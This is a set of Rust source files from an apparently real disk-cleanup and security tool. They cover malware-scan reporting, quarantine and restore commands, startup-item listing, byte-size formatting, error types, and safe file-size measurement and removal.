Some(false) => paint("31", "needs attention"),
None => paint("33", "unknown"),
};
let product = if protection.product_name.is_empty() {
protection.provider.as_str()
} else {
protection.product_name.as_str()
};
println!(
"{}",
crate::priced(&format!(
" {:<12} {} ({})",
paint("90", "system"),
state,
product
))
);
if !protection.definitions.is_empty() {
println!(
"{}",
crate::priced(&format!(
" {:<12} {}{}",
paint("90", "definitions"),
protection.definitions,
if protection.definitions_date.is_empty() {
String::new()
} else {
format!(" · from {}", protection.definitions_date)
}
))
);
}
let flag = |value: Option<bool>| match value {
Some(true) => paint("32", "on"),
Some(false) => paint("31", "off"),
None => paint("33", "unknown"),
};
for (label, value) in [
("background", protection.background_scans),
("at launch", protection.launch_scans),
("gatekeeper", protection.gatekeeper),
] {
if value.is_some() {
println!(
"{}",
crate::priced(&format!(" {:<12} {}", paint("90", label), flag(value)))
);
}
}
for note in &protection.notes {
shout("33", &format!(" ! {note}"));
}
heading("Squid");
let rules = if intel.source == "builtin" {
format!(
"{} built-in rules (no pack downloaded)",
intel.builtin_rules
)
} else {
format!(
"{} rules from pack r{}, {} built-in",
intel.installed_rules, intel.revision, intel.builtin_rules
)
};
for (label, value) in [
("rules", rules),
(
"startup",
format!(
"{} user · {} system · {} disabled",
startup.user_count(),
startup.system_count(),
startup.disabled_count()
),
),
(
"quarantine",
format!("{} items · {}", held_items, Bytes(held_size).human_long()),
),
] {
println!(
"{}",
crate::priced(&format!(" {:<12} {}", paint("90", label), value))
);
}
shout(
"90",
" squid reads the protection above; it does not replace it",
);
for note in &startup.notes {
shout("33", &format!(" ! {note}"));
}
println!();
shout("90", " squid guard scan · squid guard startup");
Ok(if protection.is_healthy() == Some(false) {
2
} else {
0
})
}
fn scan(args: ScanArgs, json: bool) -> Result<i32> {
let target = if !args.paths.is_empty() {
ScanTarget::Paths(args.paths.clone())
} else if args.full {
ScanTarget::Full
} else {
ScanTarget::Quick
};
let mode = target.mode();
shout(
"90",
&format!(" {} scan — {}", mode.as_str(), mode.estimate()),
);
let mut guard = context();
let started = std::time::Instant::now();
let report = with_progress("scan", &mut guard, move |guard, progress, cancel| {
guard.scan(&target, progress, cancel)
})?;
// Recording happens before anything is printed, so an interrupted report
// still leaves a finding id the next command can act on.
let mut store = squid_guard::store::Store::new();
store.set_scan(squid_guard::store::StoredScan::record(&report));
if json {
println!("{}", serde_json::to_string_pretty(&report)?);
return Ok(if report.confirmed() > 0 { 2 } else { 0 });
}
heading(&format!("Security · {}", mode.as_str()));
if report.cancelled {
shout("33", " cancelled — this scan did not finish");
}
if report.findings.is_empty() {
if report.clean_and_complete() {
shout("32", " ✓ nothing found in the range this scan covers");
} else {
shout("33", " nothing found in what could be read");
}
}
for finding in &report.findings {
let dot = match finding.confidence {
Confidence::Confirmed => paint("31", "●"),
Confidence::Suspicious => paint("33", "●"),
Confidence::Advisory => paint("90", "○"),
};
shout(
"0",
&format!(
" {} {} {}",
dot,
paint("1", &shrink(&finding.name, 32)),
paint(
"90",
&shrink(finding.display_path.as_deref().unwrap_or(""), 54)
)
),
);
shout(
"0",
&format!(" {} {}", paint("90", "→"), shrink(&finding.title, 88)),
);
for item in finding.evidence.iter().take(3) {
shout("90", &format!(" {}", shrink(&item.summary(), 92)));
}
shout("36", &format!(" {}", finding.id));
}
for advisory in &report.system_advisories {
shout("90", &format!(" ○ {}", shrink(&advisory.description, 96)));
}
if !report.coverage.complete() {
shout("33", " coverage was limited:");
for gap in report.coverage.gaps() {
shout(
"33",
&format!(
" {} — {}",
gap.display_path,
gap.reason.as_deref().unwrap_or(gap.outcome.as_str())
),
);
}
}
shout(
"90",
&format!(
" {} files checked · {} reused · {} skipped · {:.1}s",
squid_core::bytes::format_thousands(report.examined as u64),
squid_core::bytes::format_thousands(report.cached as u64),
squid_core::bytes::format_thousands(report.skipped as u64),
started.elapsed().as_secs_f64()
),
);
// 2 means "this scan has something to act on", which covers a suspicious
// finding as well as one that never finished: a script should check the
// report, not infer safety from an exit code.
let incomplete = report.cancelled || !report.coverage.complete();
let (settings, _) = Settings::load();
let confirmed: Vec<_> = report
.findings
.iter()
.filter(|finding| finding.confidence == Confidence::Confirmed)
.collect();
if confirmed.is_empty() {
let outstanding = report.confirmed() + report.suspicious();
return Ok(if outstanding > 0 || incomplete { 2 } else { 0 });
}
if args.yes || settings.security.auto_quarantine {
let mut held = Quarantine::new();
for finding in confirmed {
match held.quarantine(finding) {
Ok(entry) => shout(
"32",
&format!(" quarantined {} ({})", entry.display_path, entry.id),
),
Err(error) => shout(
"31",
&format!(
" could not quarantine {}: {error}",
finding.display_path.clone().unwrap_or_default()
),
),
}
}
} else {
shout(
"90",
" nothing was moved — squid guard quarantine <id> acts on one finding",
);
}
Ok(2)
}
fn startup(args: StartupArgs) -> Result<i32> {
let inventory = squid_platform::startup::inventory();
if args.json {
println!("{}", serde_json::to_string_pretty(&inventory)?);
return Ok(0);
}
heading("Startup items");
let mut shown = 0_usize;
for item in &inventory.items {
if !args.all && item.system_vendor {
continue;
}
if args.risky && item.risks.is_empty() {
continue;
}
shown += 1;
let scope = match item.scope {
squid_platform::startup::StartupScope::User => paint("36", "user"),
squid_platform::startup::StartupScope::System => paint("90", "sys "),
};
let state = if item.disabled {
paint("33", "off")
} else if item.modifiable {
paint("32", "on ")
} else {
paint("90", "ro ")
};
shout(
"0",
&format!(
" {scope} {state} {} {}",
paint("1", &shrink(&item.name, 28)),
paint("90", &shrink(item.source.as_str(), 15))
),
);
shout("90", &format!(" {}", shrink(&item.command, 96)));
let mut marks: Vec<String> = item
.risks
.iter()
.map(|risk| format!("{risk:?}").to_lowercase().replace('_', "-"))
.collect();
if let Some(publisher) = &item.publisher {
marks.push(format!("signed: {publisher}"));
} else if !item.signed {
marks.push("unsigned".into());
}
if !marks.is_empty() {
shout("33", &format!(" {}", shrink(&marks.join(" · "), 96)));
}
}
println!();
shout(
"90",
&format!(
" {shown} of {} entries · {} belong to the operating system",
inventory.items.len(),
inventory
.items
.iter()
.filter(|item| item.system_vendor)
.count()
),
);
for note in &inventory.notes {
shout("33", &format!(" ! {note}"));
}
Ok(0)
}
fn quarantine(id: &str) -> Result<i32> {
let store = squid_guard::store::Store::new();
let Some(found) = store.finding(id) else {
shout(
"31",
&format!(" no finding {id} — run `squid guard scan` and use an id it printed"),
);
return Ok(1);
};
let finding = found.clone();
let mut held = Quarantine::new();
match held.quarantine(&finding) {
Ok(entry) => {
shout("32", &format!(" quarantined {}", entry.display_path));
shout("90", &format!(" squid guard restore {}", entry.id));
let mut store = squid_guard::store::Store::new();
store.update_scan(|scan| {
if let Some(tracked) = scan.findings.iter_mut().find(|f| f.id == id) {
tracked.quarantined = true;
}
});
Ok(0)
}
Err(error) => {
shout("31", &format!(" refused: {error}"));
Ok(1)
}
}
}
fn restore(id: &str) -> Result<i32> {
let mut held = Quarantine::new();
match held.restore(id) {
Ok(path) => {
shout("32", &format!(" restored {}", paths::pretty(&path)));
// The finding is live again on disk, so the next scan must be able
// to report it; clearing the flag keeps the stored scan honest.
let mut store = squid_guard::store::Store::new();
store.update_scan(|scan| {
for finding in &mut scan.findings {
if finding
.path
.as_ref()
.is_some_and(|candidate| paths::same_path(candidate, &path))
{
finding.quarantined = false;
}
}
});
Ok(0)
}
Err(error) => {
shout("31", &format!(" refused: {error}"));
Ok(1)
}
}
}
fn held(as_json: bool) -> Result<i32> {
let mut held = Quarantine::new();
if as_json {
println!("{}", serde_json::to_string_pretty(held.entries())?);
return Ok(0);
}
heading("Quarantine");
if held.entries().is_empty() {
shout("90", " empty — nothing has been moved out of the way");
return Ok(0);
}
for entry in held.entries() {
shout(
"0",
&format!(
" {} {} {}",
paint("33", "◆"),
paint("1", &shrink(&entry.display_path, 58)),
paint("90", &Bytes(entry.size).human_long())
),
);
shout(
"90",
&format!(" {} · {}", shrink(&entry.title, 58), entry.id),
);
}
println!();
shout(
"90",
&format!(
" {} items · {} · restore puts one back, the folder is the last copy",
held.entries().len(),
Bytes(held.total_size()).human_long()
),
);
shout(
"90",
&format!(
" {}",
paths::pretty(&squid_guard::coverage::quarantine_root())
),
);
Ok(0)
}
fn unignore(fingerprint: &str) -> Result<i32> {
let (mut settings, errors) = Settings::load();
for error in errors {
shout("33", &format!("config: {error}"));
}
if settings.security.unignore(fingerprint) {
let path = settings.save()?;
shout("32", &format!(" {fingerprint} will be reported again"));
shout("90", &format!(" saved {}", paths::pretty(&path)));
} else {
shout("90", &format!(" {fingerprint} was not ignored"));
}
Ok(0)
}
/// The same progress rendering the cleanup commands use, driven by a guard scan
/// rather than an `Engine`.
fn with_progress<T>(
label: &str,
guard: &mut Guard,
work: impl FnOnce(&mut Guard, &Progress, &CancelToken) -> squid_core::Result<T>,
) -> squid_core::Result<T> {
let label = label.to_owned();
let progress = Progress::new();
let cancel = CancelToken::new();
let printer = progress.clone();
let stop = Arc::new(AtomicBool::new(false));
let printer_stop = stop.clone();
let printer_thread = std::thread::spawn(move || {
let mut frames = label.chars();
loop {
let stop_now = printer_stop.load(Ordering::Relaxed);
for event in printer.drain() {
match event {
Event::Phase { phase, detail } => {
shout("36", &format!(" {} {phase} — {detail}", bullet()));
}
Event::Tick {
done,
total,
subject,
} => {
if human_stream_is_tty() {
let glyph = frames
.next()
.unwrap_or_else(|| label.chars().next().unwrap_or('#'));
let text = match total {
Some(total) if total > 0 => format!(
" {glyph} {done}/{}",
squid_core::bytes::format_thousands(total)
),
_ => format!(
" {glyph} {}",
squid_core::bytes::format_thousands(done)
),
};
let tail = subject
.as_ref()
.map(|path| shrink(&paths::pretty(path), 40))
.unwrap_or_default();
live(Some(&format!(
"{} {}",
paint("36", &text),
paint("90", &tail)
)));
}
}
Event::Warning(text) => shout("33", &format!(" ! {}", clip(&text, 100))),
Event::Note(text) => shout("90", &format!(" · {}", clip(&text, 100))),
Event::Deleted { path, freed } => shout(
"90",
&format!(
" ✓ {} ({})",
shrink(&paths::pretty(&path), 70),
freed.human()
),
),
Event::Bucket { .. } | Event::Done(_) => {}
}
}
if stop_now {
if human_stream_is_tty() {
live(None);
}
break;
}
std::thread::sleep(Duration::from_millis(40));
}
});
let result = work(guard, &progress, &cancel);
stop.store(true, Ordering::Relaxed);
let _ = printer_thread.join();
result
}

File diff suppressed because it is too large Load Diff

View File

@ -1,31 +0,0 @@
[package]
name = "squid-core"
version.workspace = true
edition.workspace = true
rust-version.workspace = true
license.workspace = true
description = "Core primitives for squid: models, safety policy, filesystem helpers, settings and history"
[dependencies]
anyhow.workspace = true
thiserror.workspace = true
serde.workspace = true
serde_json.workspace = true
toml.workspace = true
crossbeam-channel.workspace = true
dirs.workspace = true
chrono.workspace = true
libc.workspace = true
globset.workspace = true
walkdir.workspace = true
rayon.workspace = true
[target.'cfg(windows)'.dependencies]
windows = { version = "0.58", features = [
"Win32_Foundation",
"Win32_Globalization",
"Win32_Security",
"Win32_Storage_FileSystem",
"Win32_System_Com",
"Win32_UI_Shell",
] }

View File

@ -1,193 +0,0 @@
//! Byte counts with the two formatting styles the UI needs.
//!
//! macOS reports disk space in decimal units (1 KB = 1000 B) so that is the
//! default; [`Bytes::human_binary`] is there for memory readouts.
use serde::{Deserialize, Serialize};
use std::fmt;
pub const KB: u64 = 1_000;
pub const MB: u64 = 1_000 * KB;
pub const GB: u64 = 1_000 * MB;
pub const TB: u64 = 1_000 * GB;
/// `1234567` -> `1,234,567`. The `{:,}` specifier is not available here, so
/// grouping is done by hand.
pub fn format_thousands(value: u64) -> String {
let digits = value.to_string();
let mut out = String::with_capacity(digits.len() + digits.len() / 3);
for (idx, ch) in digits.chars().enumerate() {
if idx > 0 && (digits.len() - idx).is_multiple_of(3) {
out.push(',');
}
out.push(ch);
}
out
}
#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Default, Serialize, Deserialize)]
#[serde(transparent)]
pub struct Bytes(pub u64);
impl Bytes {
pub const ZERO: Bytes = Bytes(0);
pub const fn new(value: u64) -> Self {
Bytes(value)
}
pub const fn as_u64(self) -> u64 {
self.0
}
pub fn is_zero(self) -> bool {
self.0 == 0
}
/// (value, unit) pair, decimal.
pub fn parts(self) -> (f64, &'static str) {
const UNITS: [&str; 6] = ["B", "KB", "MB", "GB", "TB", "PB"];
let mut value = self.0 as f64;
let mut unit = 0;
while value >= 1000.0 && unit < UNITS.len() - 1 {
value /= 1000.0;
unit += 1;
}
(value, UNITS[unit])
}
/// Short form used in dense tables: `4.2 GB`, `318 MB`, `12 KB`.
pub fn human(self) -> String {
let (value, unit) = self.parts();
if unit == "B" {
format!("{} {}", value as u64, unit)
} else if value >= 100.0 {
format!("{:.0} {}", value, unit)
} else {
format!("{:.1} {}", value, unit)
}
}
/// Ledger form: always two decimals — `24.31 GB`, `1.37 GB`, `920 KB`.
///
/// A list row can get away with one decimal because the number is an
/// estimate that is about to change. A history entry is a *record*, and a
/// record that reads `1.4 GB` for a run that freed 1,365,856,256 bytes
/// looks rounded, not measured.
pub fn human_fixed(self) -> String {
let (value, unit) = self.parts();
if unit == "B" {
format!("{} {}", value as u64, unit)
} else {
format!("{value:.2} {unit}")
}
}
/// Precise form for detail panes: `4.28 GB (4,593,815,296 bytes)`.
pub fn human_long(self) -> String {
let (value, unit) = self.parts();
if unit == "B" {
format!("{} bytes", self.0)
} else {
format!("{:.2} {} ({} bytes)", value, unit, format_thousands(self.0))
}
}
/// Binary form for memory: `16.0 GiB`.
pub fn human_binary(self) -> String {
const UNITS: [&str; 5] = ["B", "KiB", "MiB", "GiB", "TiB"];
let mut value = self.0 as f64;
let mut unit = 0;
while value >= 1024.0 && unit < UNITS.len() - 1 {
value /= 1024.0;
unit += 1;
}
if unit == 0 {
format!("{} {}", value as u64, UNITS[unit])
} else {
format!("{:.1} {}", value, UNITS[unit])
}
}
/// Whole percentage of `total`, saturating at 100.
pub fn percent_of(self, total: Bytes) -> u8 {
if total.is_zero() {
return 0;
}
((self.0 as u128 * 100) / total.0 as u128).min(100) as u8
}
}
impl std::ops::Add for Bytes {
type Output = Bytes;
fn add(self, rhs: Self) -> Self::Output {
Bytes(self.0.saturating_add(rhs.0))
}
}
impl<'a> std::iter::Sum<&'a Bytes> for Bytes {
fn sum<I: Iterator<Item = &'a Bytes>>(iter: I) -> Self {
iter.fold(Bytes::ZERO, |acc, item| acc + *item)
}
}
impl std::iter::Sum<Bytes> for Bytes {
fn sum<I: Iterator<Item = Bytes>>(iter: I) -> Self {
iter.fold(Bytes::ZERO, |acc, item| acc + item)
}
}
impl std::ops::AddAssign for Bytes {
fn add_assign(&mut self, rhs: Self) {
self.0 = self.0.saturating_add(rhs.0);
}
}
impl fmt::Display for Bytes {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
f.write_str(&self.human())
}
}
impl fmt::Debug for Bytes {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "Bytes({})", self.0)
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn formats_decimal_units() {
assert_eq!(Bytes(0).human(), "0 B");
assert_eq!(Bytes(999).human(), "999 B");
assert_eq!(Bytes(1_500).human(), "1.5 KB");
assert_eq!(Bytes(4_593_815_296).human(), "4.6 GB");
assert_eq!(Bytes(120_000_000_000).human(), "120 GB");
}
#[test]
fn binary_units_for_memory() {
assert_eq!(Bytes(16 * 1024 * 1024 * 1024).human_binary(), "16.0 GiB");
}
#[test]
fn percentage() {
assert_eq!(Bytes(50 * GB).percent_of(Bytes(200 * GB)), 25);
assert_eq!(Bytes(1).percent_of(Bytes::ZERO), 0);
}
/// The ledger is a record, not an estimate: `1.4 GB` for a run that freed
/// 1,365,856,256 bytes reads as rounded, and the user read the whole number
/// as a display bug.
#[test]
fn the_ledger_form_keeps_two_decimals() {
assert_eq!(Bytes(1_365_856_256).human_fixed(), "1.37 GB");
assert_eq!(Bytes(24_311_898_112).human_fixed(), "24.31 GB");
assert_eq!(Bytes(753_655_808).human_fixed(), "753.66 MB");
assert_eq!(Bytes(920).human_fixed(), "920 B");
assert_eq!(Bytes(0).human_fixed(), "0 B");
}
}

View File

@ -1,94 +0,0 @@
//! Error types shared by every squid crate.
use std::io;
use std::path::PathBuf;
pub type Result<T> = std::result::Result<T, SquidError>;
/// How a user gains administrator rights on this platform. Keeps the
/// "needs admin" hints truthful on Windows, where there is no sudo.
pub fn elevation_hint() -> &'static str {
if cfg!(windows) {
"run squid from an elevated (Administrator) terminal"
} else {
"run squid with sudo"
}
}
#[derive(Debug, thiserror::Error)]
pub enum SquidError {
#[error("io error while accessing {path}: {source}")]
Io {
path: PathBuf,
#[source]
source: io::Error,
},
#[error("path refused by safety policy: {path} ({reason})")]
Safety { path: PathBuf, reason: String },
#[error("nothing to do")]
NothingToDo,
#[error("operation cancelled")]
Cancelled,
#[error("unsupported on {platform}: {what}")]
Unsupported {
platform: &'static str,
what: &'static str,
},
#[error("permission denied for {path} — {}", if cfg!(windows) {
"run squid from an elevated (Administrator) terminal"
} else {
"grant Full Disk Access to squid, or run again with sudo"
})]
Permission { path: PathBuf },
#[error("{0}")]
Other(String),
}
impl SquidError {
pub fn io(path: impl Into<PathBuf>, source: io::Error) -> Self {
match source.kind() {
io::ErrorKind::PermissionDenied => SquidError::Permission { path: path.into() },
_ => SquidError::Io {
path: path.into(),
source,
},
}
}
pub fn safety(path: impl Into<PathBuf>, reason: impl Into<String>) -> Self {
SquidError::Safety {
path: path.into(),
reason: reason.into(),
}
}
/// Errors that are worth surfacing to the user, versus noisy "it moved
/// while we were looking at it" cases that we just count and ignore.
pub fn is_noteworthy(&self) -> bool {
!matches!(
self,
SquidError::Io {
source,
..
} if matches!(
source.kind(),
io::ErrorKind::NotFound
)
)
}
}
impl From<SquidError> for io::Error {
fn from(err: SquidError) -> io::Error {
match err {
SquidError::Io { source, .. } => source,
other => io::Error::other(other.to_string()),
}
}
}

View File

@ -1,974 +0,0 @@
//! Filesystem primitives: fast size measurement, safe removal, Trash support.
//!
//! Sizes are measured twice over: `logical` (the `st_size` sum the Finder
//! shows) and `allocated` (what the volume actually gave up — `st_blocks` on
//! Unix, `GetCompressedFileSizeW` on Windows). squid reports `allocated`
//! whenever it can because that is the number that matches `df`.
use crate::bytes::Bytes;
use crate::error::{Result, SquidError};
use crate::model::{DeleteMode, ItemKind};
use crate::paths;
use crate::progress::CancelToken;
use crate::safety::SafetyPolicy;
use rayon::prelude::*;
use std::fs::Metadata;
#[cfg(not(windows))]
use std::fs::{File, OpenOptions};
use std::io;
#[cfg(not(windows))]
use std::io::{Read, Write};
use std::path::{Path, PathBuf};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use walkdir::WalkDir;
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
pub struct SizeInfo {
pub logical: Bytes,
pub allocated: Bytes,
pub files: u64,
pub dirs: u64,
pub unreadable: u32,
}
impl SizeInfo {
/// Bytes really occupied; see [`crate::CleanupItem::on_disk`] for why the
/// two numbers must never be compared with `max()`.
pub fn on_disk(&self) -> Bytes {
#[cfg(unix)]
{
self.allocated
}
#[cfg(not(unix))]
{
if self.allocated.is_zero() {
self.logical
} else {
self.allocated
}
}
}
pub fn merge(&mut self, other: &SizeInfo) {
self.logical += other.logical;
self.allocated += other.allocated;
self.files += other.files;
self.dirs += other.dirs;
self.unreadable += other.unreadable;
}
/// "12,431 files" style annotation for detail rows.
pub fn note(&self) -> String {
let files = self.files;
let grouped = format_thousands(files);
if self.dirs > 0 {
format!("{grouped} files, {} dirs", self.dirs)
} else {
format!("{grouped} files")
}
}
}
pub use crate::bytes::format_thousands;
/// Bytes the volume really gave up for one file, or 0 when the platform
/// cannot say.
///
/// Unix answers from `st_blocks`, which `stat` already handed us; Windows from
/// [`windows_allocation`], which costs one path-based query. Both ask about
/// every file, because whole-volume compression and APFS block cloning both
/// make the logical length a lie at every size, not just for big files.
fn allocated_bytes(path: &Path, meta: &Metadata) -> u64 {
#[cfg(unix)]
{
let _ = path;
use std::os::unix::fs::MetadataExt;
meta.blocks().saturating_mul(512)
}
#[cfg(windows)]
{
windows_allocation(path, meta)
}
#[cfg(not(any(unix, windows)))]
{
let _ = (path, meta);
0
}
}
/// UTF-16, NUL-terminated spelling for a Win32 path-taking API.
///
/// Two things the plain spelling gets wrong. It is lossless: `encode_wide`
/// keeps every unit, where going through `String` would mangle anything a
/// `OsString` can hold but a `String` cannot. And past 260 characters the
/// legacy limit answers `ERROR_PATH_NOT_FOUND`, which the deep `node_modules`
/// trees this tool exists to measure cross routinely.
///
/// The verbatim prefix buys the long path by also switching off normalisation,
/// so it is only honest on an absolute, dot-free path. The walk builds exactly
/// that; `squid purge ..\..\somewhere` does not, so anything else keeps the
/// plain spelling and takes the failure — which lands on `meta.len()`.
/// The systemic fix is a `longPathAware` manifest on the executable; until
/// then every other Win32 call here still sees the old limit.
#[cfg(windows)]
fn wide_path(path: &Path) -> Vec<u16> {
use std::os::windows::ffi::OsStrExt;
use std::path::Component;
let raw: Vec<u16> = path.as_os_str().encode_wide().collect();
let quotable = path.is_absolute()
&& !path
.components()
.any(|c| matches!(c, Component::ParentDir | Component::CurDir));
let verbatim = &[0x5C, 0x5C, 0x3F, 0x5C]; // `\\?\`
let unc = &[0x5C, 0x5C]; // `\\`
let needs_prefix = raw.len() >= 250 && quotable && !raw.starts_with(verbatim);
let mut wide: Vec<u16> = if !needs_prefix {
raw
} else if raw.starts_with(unc) {
r"\\?\UNC\"
.encode_utf16()
.chain(raw[2..].iter().copied())
.collect()
} else {
r"\\?\".encode_utf16().chain(raw.iter().copied()).collect()
};
wide.push(0);
wide
}
/// `GetCompressedFileSizeW`, the one cheap Windows answer to "how many bytes
/// did the volume hand over".
///
/// Measured on a real NTFS volume (Windows 10 1909), because the documented
/// alternatives were all wrong for this:
///
/// * `FILE_STANDARD_INFO.AllocationSize` — what this function used to call — is
/// blind to NTFS compression. It reported the full 8 MiB for a file
/// `compact` accounted as 1,572,864 stored bytes; `GetCompressedFileSizeW`
/// returned 1,572,864.
/// * `FSCTL_QUERY_ALLOCATED_RANGES` reported the same 8 MiB window as fully
/// allocated. It answers "which clusters exist", not "what do they weigh".
/// * Nothing rounds up: files from 100 bytes (small enough to live inside the
/// `$MFT` record) to 1 GiB extended by `SetEndOfFile` all report exactly
/// their length, so there is no cluster quantum to correct for here — unlike
/// `st_blocks`, which does round.
///
/// Taking a path rather than a handle matters twice over. It is one query
/// instead of a `CreateFileW`/`GetFileInformationByHandleEx` pair per file, and
/// it keeps answering while another process holds the file open exclusively —
/// which is the normal state of the cache files this walk exists to size.
///
/// The failure modes fall back to the logical length: a path over the legacy
/// limit without a `\\\\?` prefix, a volume that will not tell us, a file that
/// vanished mid-walk. Overstating by the logical size is the survivable
/// direction; understating a cleanup the user is about to approve is not.
#[cfg(windows)]
fn windows_allocation(path: &Path, meta: &Metadata) -> u64 {
use std::os::windows::fs::MetadataExt;
use windows::core::PCWSTR;
use windows::Win32::Storage::FileSystem::{
GetCompressedFileSizeW, FILE_ATTRIBUTE_COMPRESSED, FILE_ATTRIBUTE_SPARSE_FILE,
};
let wide = wide_path(path);
let mut high = 0u32;
let low = unsafe { GetCompressedFileSizeW(PCWSTR(wide.as_ptr()), Some(&mut high)) };
// The API signals failure with 0xFFFFFFFF, then clears the last error on
// success, so a file that really is 4 GiB minus one long survives.
if low == u32::MAX && io::Error::last_os_error().raw_os_error().unwrap_or(0) != 0 {
return meta.len();
}
let reported = (u64::from(high) << 32) | u64::from(low);
if reported != 0 || meta.len() == 0 {
return reported;
}
// Only a compressed or sparse file may legitimately hold data the volume
// charges nothing for. Any other file answering 0 bytes is the
// deleted-but-still-open case: the clusters are gone but the entry is still
// in our walk, and zeroing it would hide space the user is not getting.
let flagged = FILE_ATTRIBUTE_COMPRESSED.0 | FILE_ATTRIBUTE_SPARSE_FILE.0;
if meta.file_attributes() & flagged == 0 {
return meta.len();
}
reported
}
/// Measure one path. `Contents` skips the directory entry itself so the size
/// matches what removing its children would free.
pub fn measure(path: &Path, kind: ItemKind) -> SizeInfo {
let mut info = SizeInfo::default();
let meta = match std::fs::symlink_metadata(path) {
Ok(meta) => meta,
Err(_) => return info,
};
if meta.file_type().is_symlink() {
info.files += 1;
info.logical += Bytes(meta.len());
return info;
}
match kind {
ItemKind::File => {
info.files += 1;
info.logical += Bytes(meta.len());
info.allocated += Bytes(allocated_bytes(path, &meta));
return info;
}
ItemKind::Path | ItemKind::Contents => {}
}
if !meta.is_dir() {
info.files += 1;
info.logical += Bytes(meta.len());
info.allocated += Bytes(allocated_bytes(path, &meta));
return info;
}
let min_depth = if kind == ItemKind::Contents { 1 } else { 0 };
let walker = WalkDir::new(path)
.follow_links(false)
.min_depth(min_depth)
.max_open(64)
.contents_first(false);
for entry in walker.into_iter() {
match entry {
Ok(entry) => {
let ft = entry.file_type();
if ft.is_symlink() {
continue;
}
if ft.is_dir() {
// `Contents` starts at depth 1, so it never yields the root
// entry; `Path` yields it and counts it — the folder itself
// is part of what gets removed.
info.dirs += 1;
continue;
}
match entry.metadata() {
Ok(meta) => {
info.files += 1;
info.logical += Bytes(meta.len());
info.allocated += Bytes(allocated_bytes(entry.path(), &meta));
}
Err(_) => info.unreadable += 1,
}
}
Err(_) => info.unreadable += 1,
}
}
info
}
/// Measure many paths in parallel. `progress` receives completed units.
/// `Path` for folders (and anything that should be removed recursively),
/// `File` for plain files and symlinks.
pub fn kind_of(path: &Path) -> crate::model::ItemKind {
match std::fs::symlink_metadata(path) {
Ok(meta) => {
if meta.is_dir() {
crate::model::ItemKind::Path
} else {
crate::model::ItemKind::File
}
}
Err(_) => crate::model::ItemKind::Path,
}
}
pub fn measure_all(
targets: &[(PathBuf, ItemKind)],
cancel: &CancelToken,
on_unit: impl Fn(usize, &SizeInfo) + Send + Sync,
) -> Vec<SizeInfo> {
let pool = rayon::ThreadPoolBuilder::new()
.num_threads(measure_threads())
.build();
let pool = pool.unwrap_or_else(|_| {
// Inherited pool if a nested build fails; never fail a scan for this.
rayon::ThreadPoolBuilder::new().build().expect("rayon pool")
});
let done = AtomicU64::new(0);
let cancelled = AtomicBool::new(false);
let emit = &on_unit;
let results: Vec<SizeInfo> = pool.install(|| {
targets
.par_iter()
.map(|(path, kind)| {
if cancel.is_cancelled() {
cancelled.store(true, Ordering::Relaxed);
return SizeInfo::default();
}
let info = measure(path, *kind);
let idx = done.fetch_add(1, Ordering::Relaxed) as usize;
emit(idx, &info);
info
})
.collect()
});
results
}
fn measure_threads() -> usize {
let cores = std::thread::available_parallelism()
.map(|n| n.get())
.unwrap_or(4);
cores.clamp(4, 16)
}
/// Validate + remove one item. Returns the bytes actually released.
pub fn remove_item(item: &crate::model::CleanupItem, mode: DeleteMode) -> Result<Bytes> {
let policy = SafetyPolicy::default();
remove_item_with(item, mode, &policy)
}
pub fn remove_item_with(
item: &crate::model::CleanupItem,
mode: DeleteMode,
policy: &SafetyPolicy,
) -> Result<Bytes> {
let anchors = if item.anchors.is_empty() {
default_anchors()
} else {
item.anchors.clone()
};
policy.check(&item.path, &anchors)?;
let before = measure(&item.path, item.kind);
match mode {
DeleteMode::Trash => {
trash_path(&item.path)?;
}
DeleteMode::Permanent => match item.kind {
ItemKind::File => {
std::fs::remove_file(&item.path).map_err(|e| SquidError::io(&item.path, e))?
}
ItemKind::Path => {
std::fs::remove_dir_all(&item.path).map_err(|e| SquidError::io(&item.path, e))?
}
ItemKind::Contents => remove_contents(&item.path)?,
},
}
let freed = SizeInfo {
logical: Bytes(
before
.logical
.0
.saturating_sub(after_size(&item.path, item.kind).logical.0),
),
allocated: Bytes(
before
.allocated
.0
.saturating_sub(after_size(&item.path, item.kind).allocated.0),
),
files: 0,
dirs: 0,
unreadable: 0,
};
Ok(freed.on_disk().max(Bytes::ZERO))
}
fn after_size(path: &Path, kind: ItemKind) -> SizeInfo {
if !path.exists() {
SizeInfo::default()
} else {
measure(path, kind)
}
}
fn remove_contents(dir: &Path) -> Result<()> {
let entries = std::fs::read_dir(dir).map_err(|e| SquidError::io(dir, e))?;
let mut first_error: Option<SquidError> = None;
for entry in entries.flatten() {
let path = entry.path();
let meta = std::fs::symlink_metadata(&path).ok();
let is_dir = meta.as_ref().map(|m| m.is_dir()).unwrap_or(false);
let is_link = meta
.as_ref()
.map(|m| m.file_type().is_symlink())
.unwrap_or(false);
let result = if is_dir && !is_link {
std::fs::remove_dir_all(&path)
} else {
std::fs::remove_file(&path)
};
if let Err(err) = result {
if err.kind() != io::ErrorKind::NotFound && first_error.is_none() {
first_error = Some(SquidError::io(path, err));
}
}
}
match first_error {
Some(err) => Err(err),
None => Ok(()),
}
}
/// Roots a cleanup target may legitimately live under when no rule anchors are
/// attached (interactive deletion from the TUI, history restore, …).
pub fn default_anchors() -> Vec<PathBuf> {
#[cfg(windows)]
{
windows_anchors()
}
#[cfg(not(windows))]
unix_default_anchors()
}
#[cfg(windows)]
fn windows_anchors() -> Vec<PathBuf> {
let env = |key: &str| std::env::var_os(key).map(PathBuf::from);
let home = paths::home_dir();
let mut anchors = vec![
env("LOCALAPPDATA").unwrap_or_else(|| home.join("AppData").join("Local")),
env("APPDATA").unwrap_or_else(|| home.join("AppData").join("Roaming")),
env("ProgramData").unwrap_or_else(|| PathBuf::from(r"C:\ProgramData")),
env("TEMP").unwrap_or_else(|| home.join("AppData").join("Local").join("Temp")),
home,
];
anchors.retain(|p| p.exists());
anchors
}
#[cfg(not(windows))]
fn unix_default_anchors() -> Vec<PathBuf> {
let home = paths::home_dir();
let mut anchors = vec![
home.join("Library"),
home.join(".cache"),
home.join(".npm"),
home.join(".cargo"),
home.join(".Trash"),
PathBuf::from("/Library/Caches"),
PathBuf::from("/Library/Logs"),
